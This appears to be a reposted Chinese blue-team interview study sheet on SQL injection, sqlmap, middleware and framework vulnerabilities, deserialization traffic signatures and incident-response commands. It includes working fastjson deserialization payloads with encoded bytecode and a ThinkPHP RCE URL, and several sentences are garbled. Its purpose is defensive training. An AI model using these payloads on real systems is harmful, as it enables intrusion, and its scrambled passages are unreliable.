资讯详情

hw蓝队初级面试总结

1、sql注入原理、分类、绕过

原理:产生sql注入漏洞主要是因为没有直接过滤、验证和处理接收到的参数sql然后在句子中直接执行sql这将导致恶意用户引入一些精心构造的句子sql代码,后台sql拼接句子后,形成完整的句子sql执行句子,达到攻击者的目的。  分类:我们可以sql注入直接的分为字符型和数字型,主要特点就是在进行sql注入时是否需要关闭传参的单引号,不需要关闭说明是数值型,反之亦然是字符型;也可以sql注入分为有回显注入和无回显注入,无回显注入又称盲注,盲注有三类,根据sql根据各自的特点,注入可分为联合注入、二次注入、宽字节注入、堆叠注入等http报文的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。  绕过:绕过大小写 、编码绕过、注释绕过、关键字/关键函数替换、参数污染、缓存区溢出、特殊符号 

2.报错注入使用的函数和原理

函数:updatexml、floor、exp  原理:updatexml()共有三个参数,第一个是xml第二个参数是内容update的位置XPATH路径和第三个参数是更新后的内容;此处报错的主要原理是使用第二个参数检查输入内容是否符合要求XPATH格式合格式时,报错,我们将第二个参数替换为version()或者database()等等,因为不满意XPATH所以格式会输出错误,当输出错误时sql代码(verson()/database()等)执行。 

3、sqlmap用过的tamper

如何防御sql注入

base64编码、url编码、双url编码,宽字节,使用/**/分割sql关键字、替换空格为xx  如何防御sql注入漏洞 1.在代码层面使用过滤函数的正则表达式来过滤、检测和处理输入的参数,使输入的恶意数据无法以预期的方式执行 2、预编译sql语句 3、使用waf,安全狗,阿里云盾等waf进行防护 4.基线检查、漏洞扫描等工作经常进行 

4、sql写shell条件/sqlmap写shell

条件: 1、sql写shell可使用两个函数outfile和dumpfile可用(select into outfile二进制可执行文件不能写入,select into dumpfile 可写入二进制可执行文件) 2.关闭安全模式(需要数据库允许导出文件,即secure_file_priv参数配置为空或目录地址,设置为NULL3.等待不允许导出文件) 4.需要足够的权限 5.你需要知道网站的绝对路径 6、GPC单引号可用于关闭  sqlmap --os-shell: 对于mysql就数据库而言,--os-shell本质是写两个php文件,其中tmpugvzq.php我们可以将文件上传到网站下,让我们命令执行并返回输出内容sqlmap最后,另一个返回班让我们执行系统命令的命令;简单来说就是先传小马再传大马。 

5、渗透思路

信息收集: 1、获取域名whois信息 2.服务器域名,旁站,c段查询 3.服务器操作系统版本的补丁状态web中间件类型、版本、数据库类型等 4.服务器开口:22 ssh  80 web 445 3389.。。 漏洞扫描: nessus,awvs ,appscan 漏洞验证: 是否有漏洞,能否获得webshell或者其他权限 权限提升: windows内核溢出提权,提取数据库提权、组策略首选项、web中间件提权,dll劫持提权,第三方软件/服务提权 linux内核漏洞提权,劫持高权限程序提权,sudoer配置文件错误提权 漏洞利用: 日志清理: 

6.中间件漏洞

iis:

执行远程代码 解析漏洞   目录以.asp结尾    xxx.asp;1.jpg 

tomcat:

war包后门部署 执行远程代码  

apache:

解析漏洞    1.php 换行解析   1.php.xxx 未知后缀分析 SSI执行远程命令 路径穿越 

nginx:

解析漏洞    1.jpg/.php 目录穿越 (nginx配置别名时alias忘记添加//  目录致目录穿越漏洞) CRLF注入 (Nginx会将$uri解码,导致输入  可引入换行符,造成换行符CRLF注入漏洞) 

jboss:

反序列化 war后门部署 

weblogic:

反序列化 ssrf上传任何文件 文件读取 

7.序列化反序列化及其流量特征

序列化:将对象转换为字符串 反序列化:将字符串转换为对象 流量特征: shiro反序列化:查看cookie中rememberme恶意命令从这里传入字段。判断是否有漏洞,查看返回包set cookie:rememberme=deleteme,验证失败返回的标识符。 fastjson反序列化:在请求报文中搜索json格式数据,重点看有没有。rmi或者一些出网的行为 st2-045:请求头部Content-Type字段 

8.应急响应流程及windows/linux用到的命令

应急响应流程: 1集信息:收集客户信息和中毒信息,备份 2.判断类型:判断是否是安全事件,是什么样的安全事件(勒索病毒、挖矿、断网、ddos等) 3.深入分析:日志分析、过程分析、启动项分析、样本分析 4.清理处理:杀死恶意过程,删除恶意文件,修复文件 5.产出报告:整理输出完整的安全事件报告  windows应急 一、检查系统账号安全 1.检查服务器是否有弱密码、可疑账号、隐藏账号、克隆账号、远程管理端口是否对公网开放 2、win r(eventwmr.msc)查看系统日志,检查管理员的登录时间和用户名是否异常 二、检查异常端口和流程 1、netstat -ano 检查端口连接是否有远程连接和可疑连接 2、tasklist | findstr "PID"根据pid定位进程 3.使用功能查杀工具 三、启动项目检查、计划任务、服务 检查服务器是否有异常启动项,msconfig看看启动项是否可以启动 2.检查计划任务,检查计划任务属性,找到木马文件的路径 3.自启动见擦汗服务,services.msc注意服务状态和启动类型,检查是否有异常服务 四、检查系统相关信息 1、查看系统版本以及补丁信息  systeminfo 2.查找目录和文件  是否有新的用户目录 分析最近打开分析可疑文件(%)UserProfile%\Recent)   五、自动化查杀 使用360 火绒剑 webshelld盾可用于后门 河马等 六、日志分析 360星图日志分析工具  ELK分析平台  linux应急 1.检查用户和密码文件/etc/passwd、/etc/shadow 是否有多余的账户,主要看账号后面是否有 nologin,如果没有 nologin 就要注意; 2、通过 who 检查当前登录用户的命令(tty 本地登陆 pts 远程登录),w 命令查看系统信息,想知道用户在某个时刻的行为uptime检查登录时间、用户数量、负载; 3、修改/etc/profile的文件,在尾部添加相应的显示添加到尾部,ip、命令脚本代码输入history命令将详细显示攻击者 ip、时间历史命令等; 4、用 netstat -antlp|more可疑端口的命令分析,IP、PID,查看下 pid 对应的过程文件路径,运行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的pid 号); 5、使用ps命令,分析过程 ps aux | grep pid 6、使用 vi /etc/inittab 检查系统当前的运行水平,通过操作级别找到/etc/rc.d/rc[0~6].d目录中是否有可疑文件; 7、看一下crontab定时任务中是否有可疑的脚本启用; 8、使用chkconfig --list 检查是否有可疑服务; 9、通过grep awk命令分析/var/log/secure安全日志内是否有攻击痕迹; 10、chkrootkit、rkhunter、Clamav 病毒后门检查工具正确 Linux 查杀系统文件; 11、如果有 Web 站点,可通过 D 查杀河马查杀工具或手动按脚本木马关键词查杀代码,关键涵数(evel、system、shell_exec、exec、passthru system、popen)进行查杀Webshell 后门。 

9、流量分析

拿到流量包后,将其导入wireshark采用过滤规则分析流量包,常用的过滤规则有: http contains "关键字" http.response.code == 200 http.request.method == POST tcp.prot == 80 ip.addr == "10.1.1.1" ip.src ip.dst 

10、Behinder流量特征

冰蝎是一种基础java新型动态加密通信流量webshell在客户端,冰蝎座的通信过程可分为两个阶段:秘密钥匙协商 加密传输  冰蝎2:ua头比较老,虽然内置了10多种,但每次连接shell会随机选择一个用,由于比较老,容易被检测出来
content-length:16  #16是冰蝎2连接的特征

冰蝎3:冰蝎3取消了动态秘钥获取 accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
ua头版本老:冰蝎3内置16个ua头都比较老,现实生活中使用较少。

11、天眼基本搜索语法

sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200) 
#10.1.1.1访问服务器10.1.1.2状态码为200的流量日志
dport:"443" OR dport:"8080
#访问端口是443或者8080的流量日志
dport:"80" NOT host:"www.example.com"
#访问端口为80,排除访问www.example.com域名的流量日志
dip:"10.1.1.2" AND client_os:"windows7"
#服务器ip为10.1.1.2,操作系统为windows7的流量日志
处置方案:
传感器上出现sql注入告警后
1、验证此条sql注入告警是否真的存在sql注入漏洞
2、通过请求数据包判断触发告警的行为是客户自身还是攻击行为
3、若为自身业务问题,则将漏洞点相关整合成报告反馈客户
4若为攻击者行为,需要进一步分析,查看分析平台攻击ip除了sql注入外是否有其他攻击行为,攻击的结果如何
5、将发现时间及攻击行为反馈给护网客户
传感器上出现RCE告警
1、验证此条警告师傅真的成功(若成功直接出报告)
2、若失败,判断攻击者是手工还是工具批量扫描行为
3、进入分析平台进一步分析,查看分析平台攻击ip除了rce是否有其他攻击行为,攻击结果如何
4、将发现时间及攻击行为反馈给护网

12、fastjson反序列化

fastjson1.2.24反序列化漏洞原理
1、fastjson提供的反序列化功能允许用户传入json格式数据局的时候通过@type的value值指定任意反序列化类名
2、fastjson的反序列化机制会将反序列的类进行实例化对象,并调用该对象的setter和部分getter方法
3、恶意用户可以构造payload是目标应用的代码执行流程进入这部分setter和getter方法,如果这些方法中存在Gadget,就会造成一些安全问题。
4、官方采取黑名单过滤的方法,对反序列化的类名进行校验,checkAutoType不断被绕过
fastjson利用流程:
使用@type的value字段执行反序列化的类,例如JdbcRowSetImpl这个类,接着将这个类中的成员变量datasourcename的value值设为rmi远程加载类,这样fastjson在将传入的类反序列化、实例对象后,会通过成员变量传入的value值,请求rmi服务器,最后rmi返回远程类,fastjson执行这个远程恶意类。导致rce漏洞。
fastjson反序列化的特征:
在请求包中查找json格式的字符串,重点在于rmi和一些出网操作

13、fastjson不出网利用

1、基于BasicDataSource类

org.apache.tomcat.dbcp.dbcp2.BasicDataSource
条件:BasicDataSource需要有dbcp或者tomcat-dbcp的依赖
利用过程:使用BasicDataSource链,构造恶意类后将其的字节码转化为BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL..这种格式,字啊newInstance方法执行后被实例化,第二个参数initial为true时,类加载后将会直接执行static{}块中的代码。

{
	"@type":"java.lang.Class",
	"val":"com.sun.org.apache.bcel.internal.util.ClassLoader"
	},
{
	"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
	"driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
	"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;

public class Test {
    public static void main(String[] args) throws Exception {
        JavaClass cls = Repository.lookupClass(Exp.class);
        String code = Utility.encode(cls.getBytes(), true);
        code = "$$BCEL$$" + code;
        new ClassLoader().loadClass(code).newInstance();
        System.out.println(code);
    }
}

2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类

条件:Feaure.SupportNonPublicField开启,默认是关闭状态
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}

14、shiro550反序列化

原理:
导致shiro反序列化的主要原因就是shiro提供的记住密码功能,当用户打开这个功能时会在请求阿包中生成一个cookie,cookie的value值是经过反序列->aes加密->base64加密后的字符串,关键在于aes加密的秘钥是默认的,如果没有修改这个秘钥,就会导致反序列化漏洞,攻击者可以构造恶意代码,将恶意代码序列化-aes加密-base64加密后传入cookie,这样就导致RCE漏洞。
特征:shiro是一个身份验证组件,一般用在登录模块,登录失败会有一个失败标识rememberme=deleteme,如果返回包中存在该字段则说明可能存在反序列化漏洞。

15、log4j漏洞

原理:log4j2框架下的lookup服务提供了{}字段解析功能,传进去的值会被直接解析,JNDI服务会请求远程服务来链接本地对象,这时候只用在{}里面调用JNDI服务即可反弹shell到指定服务器
特征:数据包里有{jndi:ladp//}字段

16、中挖矿病毒怎么解决

首先ps -aux查看进程分析
然后top 分析算力,挖矿用到的算力比较多,对流量进行过滤,含有矿池服务器的流量就是挖矿病毒
最后kill进程,rm掉程序
删不掉这么办
先下线,然后检查挖矿是否有在内网传播及时下线所有被传播的主机、上机排查攻击痕迹、一般可以从cpu占用情况,可以进程、开放端口、计划任务、服务项几个方面排查
将样本上传到在线分析平台,清除挖矿主程序主要就是双向封禁矿池地址、删除计划任务自启动、删服务,结束恶意进程、删病毒
删不掉:确认一下一下是因为程序在使用,还是权限不够,更具具体情况采取措施
直接降权,降权到没有执行权限

17、weblogic xml反序列化

原理:xml反序列化,这是wls security组件对外提供的webserver页面,通过xmlDecoder功能来解析用户的xml数据导致的任意字符串被当做代码去执行
特征:服务器开放7001端口  传递xml数到wls-wsat  数据包内容有bash或者dnslog字段。

18、weblogic命令执行如何回显

19、框架漏洞

stu2
stu2-045:
Struts2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 类对上传数据进行解析.JakartaMultiPartRequest类在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,对这个异常的处理会对错误信息进行OGNL表达式解析,从而造成了恶意代码执行
stu-061
检测思路
在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
比如:
​ %{ ‘gcowsec-‘ + (2000 + 20).toString()}
预计会得到
​ gcowsec-2020
使用脚本判断结果中是否包含就可以了
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。

stu-057
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生
利用条件
alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的。
action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性
thinkphp
RCE
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
SQL注入
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
index.php?ids[]=1&ids[]=2
<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $username = request()->get('username');
        $result = db('users')->where('username','exp',$username)->select();
        return 'select success';
    }
}

标签: e0e1e2传感器流量传感器p11146staw连接器数字型传感器e3x连接器dc62pk87

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台